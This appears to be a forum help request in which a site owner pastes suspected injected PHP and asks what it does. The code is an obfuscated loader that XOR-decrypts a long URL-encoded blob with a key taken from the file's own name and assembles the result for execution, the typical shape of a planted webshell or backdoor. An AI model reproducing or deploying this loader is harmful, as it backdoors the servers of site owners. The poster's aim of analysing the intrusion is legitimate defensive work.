Please Can Someone Tell What This Php Code Does?

I suspect that this is some malicious code injected by some bad guy. I am not able to identify what this php code is doing. Can Stack PHP experts please guide me on this?

Any help greatly appreciated.

<?php
$_8rtx40c = basename/*x23e*/(/*vz*/trim/*7dj*/(/*xy*/preg_replace/*m5*/(/*xbf*/rawurldecode/*9*/(/*3c*/"%2F%5C%28.%2A%24%2F"/*954j*/)/*3al*/, '', __FILE__/*76*/)/*o*//*0p*/)/*1*//*i2c*/)/*n480*/;$_2msbweq = "GVF%1DB%06TT%5B%40%0C%07G%09C%12G%06%03%5CmQA%07%17%0AVD9V%11%07PFW%0ENJF%24KlQ%06%04X%5CW%06N%10%1B%5CU%07X%3C%01%5E%5CFK%11%170MB%03T%17%07%11%15%1E%0EXJT%24p%0F%5B%0A%3DBWF%06N%06%1D%5C_%14j%0F%0DV%15%1E%0E%276%23b%19%5Du%0A%0CXmAK%1DKHB_%01j%06%10C%5D%40%5DNOO%1E%19%5Du%0A%0CXmAK%1DKHCQ%1Ej%06%1ATQGZ%00%0C%01qD%0FX%06E%1D%12%02%07R%23%0A%5CB%09G%3C%10TB%5D%5C%1D%0A%01I%18V%1CX%22BWFq%1D%0A%02Ko%0A%5C%0E%0BE%1A%02%07R%0A%09%06%11%02P%05%0B_WV%06K3%27~o%23z%2F%40%18%1BIJ%0C%05%06%40UN%173%2Aamwa%25AC%0E%12%3A%5BAK%0AO%5BHIKNJU%00%5C%0D%07U%1A%15H%00%0F%0Aq%40%13A%3C%01%5E%5CFK%07%17%1C%0E%17O%1C%18%06TT%5B%40%0CKHHY%0AP%3C%12DFmM%06%0D%1BK%5E%12FCE%1D%12%03%07RG%19ET%09L%0EB%0C%12%15O%0C%05%5E%16%06%05%07NZRSV%03%5D%05%0B%1F%1D%5E%0C%02%07%1C%01%00%1C%0D%02%0E%1C%05T%07%00%03%16%09UB%06%01%0EB%10BC%08%06%5EK_%15%0F%16%01MD%0FZ%0DBK%5EF%5E%13%02G%0AG%04R%09%0EE%1B%12U%00%05O%06C%12G%0F%07_%1A%16Y%0B%04%05BDO%15_B%05%1BI%5C%0C%17%1A%5C%5EF%17AYL%16D%5E%1E%04%06DTF%08C%40ppqj%2C%25%28fy%2C~%2F%2F%7F%7Db%7F%3B0%3B%7Bf1m%3A8PPQJ%0C%05%08FY%0C%5E%0F%0F_%5DB_%1B%10%1B%5BF%11M%1A%18%01%03%00%1D%5DVY%19%08_%1EL_%13%09%16W%1D%01%0AZSF%08C%11E%40m%5D%19%0F%06Z%18BC%13%15V%5BXJ%40XKWD%04P%17%01%11%0F%12O%1B%11%0EWo%00Y%0A%12%19%16KZ%0B%06%1BM%19%5D%11%01%10BAEKI%5EO%1E%0BB%5E%17%06AZCK%05%02%02YZ%15S%1BB%0C%12%10%0CRG%18LW%0CY%17B%0C%12B%5C%0C%040%5CU%16Y%02%01T%1A%10P2%3D.%03j%07%18%19R%1C%0Bn%055L3%13m%18%17OB%13%10%1E%0EM%14%0DIZ%0AAJYU%5D%12UM%17%0BF_%01%40%11%11%11%0F%12%0A%10%17%0DKD%05nG%15SUXB%1D8KLB%15F%14%07%1A%19osRG%04ZT%16%5D%12%07%5DQKM%0C%06O%13%10BL%17%00TFQuM%14%0DIZ%0AA8FS%40A%5D%1E%06D%05m%3B%0EG%0AEPUT%0F%16%0A%0E%0DF%11%1A%16SWFM2G%18LW%0CY%179%15P%40%5D%1A%14%0A%05%1B%3BhXFC%40KJ%02%00O%13%10BL%17%00TFQuM%14%0DIZ%0AA8FS%40A%5D%1E%06D%05m%3B%0EG%18DD%5C%40%1DCR%0E%18BA%07%0A%5EUG%5C%1ACS%12%10T%1CC%1E%11%1A%16E%1D%07%1FFA%03Y%00%1BRWW%0EW%5DO%1A%19%5D%11%01%13%40XBX%05%0DO%13%10N%1DG%09EVBF%18%06%03MI%05P%06B%17%12%03%1B%40CS%12%10R%1CC%1E%11%1A%16F%1D%01%08TV%13PC%5C%0F%12%00%07RG%1ATC%01O%13%14%11%0F%12%06AG%07ZR%01O%05%17T%12%14%0EZJO%12%0CF%03JBM%12%16%5C%1B%1A%0BES%5D%11%08%16UBZ_%0C%0F%0ECG%0CF%05%1A%11%0F%12%0A%02%17%0B%5EX%17P%0F%03%5CEX%5D%0F%1BO%00%10%05%5D%11J%15HGX%07%0D%1B%07%0B%0FSCJ%15ZFL%0E%19%09%5BUF%14%5EB%07%06%1B%0E%12G%04ZT%16%5D%12%07%5DS_Y%03%10%09V%10%5B%15G%09EVBF%18%06%03O%5D%11_%10%04I%12%1C%0E%0A%0B%1D%06%14%04D%12%08AD%5E%40%40X%12GVF%1DG%10CKVE%0ACN%13%10P%01JBJ%16YZ%0D%13%07_U%0AT%0E%15%5BATVI%5EO%0A%5B%12Q%13%0A%40W%5EO%04%14%05%5DV%1E%15MBRZ%40%06M%16%15%5DW%1CE%15K%0AOO%0E%1E%0B%06BUF%1DG%00CAAY%0CCS%0EC%12G%0F%07_%1A%16Y%0B%04%05BDO%1CX%10TFG%5C%07CKED%02E%0B%13T%5ESC%1E%09%1CHH%5DH%0A%04%11%1A%13H%1C%0D%0CZY%09%5B%3C%07I%5BAZ%1AKHHY%0AP%3C%12DFmM%06%0D%1BK%5E%12FDK%18IT%5B%07%00%1BG_%08%15%05%0B%5DWm%5E%1C%170M_%08A%06%0CEA%1A%0A%02%17%0B%5EX%17P%0FN%11%16FT%0B%0A%19IBJ%15G%12UXSM%00CR%0Ev%07Y%10%07%18I%16E%1D%07%1FFA%03Y%19%0FEZK%0ETCK%5ET%0CT%00%0B%11%0F%0F%0EQCP%0E%17%07%12CX%11%15E%09RG%0D%5CC%15B%06%16S_PL%04%0DO%13%10%26S%0C%12T%5C%1A%0A%02%17%0B%5EX%17P%0FN%11%16YZ%0D%13%07_U%0AO%0E%16YK%1B%15%00%05O%06%14%04G%10%11FWFL%04%01%0DC%5EF%08%5E_%11tSB%1A%06FUB%03A%16%10_%12%02%15%14%06%03%5DU%1D%5C%05B%19%5BAq%08%11%1DOIN%11%17%18S%5BDI%1BJF%0E%14%12O%01%0BGU%40%0ETC%06C%40%0AZ%07%07%19%16FT%0B%0A%19IBO%0EG%18GXF%5C%1CCR%0EV%11G%0A%16T%1A%16L%1B%10%1CYU%12W%0E%00S_%5C%02IG%1BTR%0FC%04%10%18%09TM%05%0C%1CK%18BW%11%11BEWZ%0B%0E%0DL%5D%08%1CX%10TFG%5C%07CKTF%0CA%11%17%0AOOS%00%05O%06%11%00%40%0D%01E%5B%5D%406%06%17GC%12FKEW%5B%5EK6%04%0AZo%05Z%0D%16T%5CF%5DNJFUV%13%5B%00%16X%5D%5C%0E%0F%0A%03Ko%01P%17%3DR%5D%5CZ%0C%0D%1B%5D%18BT%06%01%5BJ_%07%12G%0DWU%15A%15%18A%12%0F%0E%0F%0C%1FK%5EN%11%02%07RXJCECM%5C%12O%0EG%05TGDC%0B%05%09%0E%0DFS%11%07PV%1A%0A%0B%1A%0A%5DD%10O%13N%11T%5BB%0C%10%06TUN%11%02%07RXJC%40JTHS%0AZ%10%07%19%16PW%0C%10%1BXJ%16%1CX%10TFG%5C%07CKIU%13C%0E%00WT%09S%14%05%1A%40S%12%5C%0C%0C%11QQK%03%08%04AXN%1C%18%10TFG%5C%07C%1B%5CY%0B%1D%13%10TUm%5C%0C%13%03OS%03%1DAMm%1A%1C%045G%40%0C%1CF%12DN%11mmh%20%2F%2AqoO%1CX%1FWG%5CM%1D%0A%00%40%10%03P%1B%14U%5C%5CYAG%08%5CJ%0AB%16%17XS_F%11%15C%0E%14%0DA%07%12YCWB%06%0D%1D%5BV%13LJ%19%15BG%5D%0A%0E%1BT%10%5B%15A%40%0AT%5D%5CIKKLB%15F%14%07%0C%02%09%0EM%01%1D%5DC%11P_%11E%40%5EK%07KKIB%1CY%14%17D%5BSC%01%1B%19%07%0BON%05%0DC%12%1A%0A%0E%11%15BG%13%40%5ER%0A%12%16I%1B%19%03YE%13%09%10%16C%5EW%40AG%04ZT%16%5D%12%07%5D%5D%5C%5C%1C%05%1AW%19F%13EB%15P%40%5D%1A%14%0A%12C%12G%0F%07_%1A%16I%1B%19%03YE%13%5C%02%0FYJD%07RCKIB%1CY%14%17D%19%19%02IG%0D%5CC%15B%06I%1A%1BI%0A%19%16%1CM%5D%12OCL%0C%12QF%1BK%00%5CTN%11%04%10K%5EE%5B%1C%0A%0ECX%1EC8FS%40A%5D%1E%062%07%108%15%0C%10U%1A%16E%1D%07%1FFA%03Y%0C%0CCGT%5B%108KIB%1CY%14%17Do%1B%07R%1E%12%5CU%12%40%11%0C%11%16B%5B%1A%00%02ZJ%5DH%05%17_QFG%06%0DOWQ%0BB%02%0CCS%1A%0A%0E%11%15BG%13%40%0A%03%5CZJXECKED%02E%0B%13T%5E%5D%40%1B%16%09%5BION%04%0E%5EPSBIG%19ET%09L%0EYCWF%5B%1B%0DOKU%1EC%07%0C_E%1AK%0C%1B%19J%5E%08BKFV%40HB%1E%16%1AGQ%0B%5D%1B%14%1D%12%16E%1D%07%1FFA%03Y%0C%0C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'};' . /*cb*/(/*b*/rawurldecode/*3f4mk*/(/*3p*/$_2msbweq/*n*/)/*25iu*/ ^ substr/*5gvq*/(/*xf6tr*/str_repeat/*m*/(/*bp*/$_8rtx40c, /*bn57o*/(/*2vo6j*/strlen/*0sxpt*/(/*iqu*/$_2msbweq/*6b*/)/*z*//strlen/*cv84z*/(/*f0kn8*/$_8rtx40c/*6kyw1*/)/*egvfd*//*8q*/)/*p*/ + 1/*ngs12*/)/*7*/, 0, strlen/*js9*/(/*pvg3*/$_2msbweq/*3*/)/*ogd4*//*6*/)/*plkiv*//*szhp*/)/*j*/ . '{'/*e9*/)/*yc*/;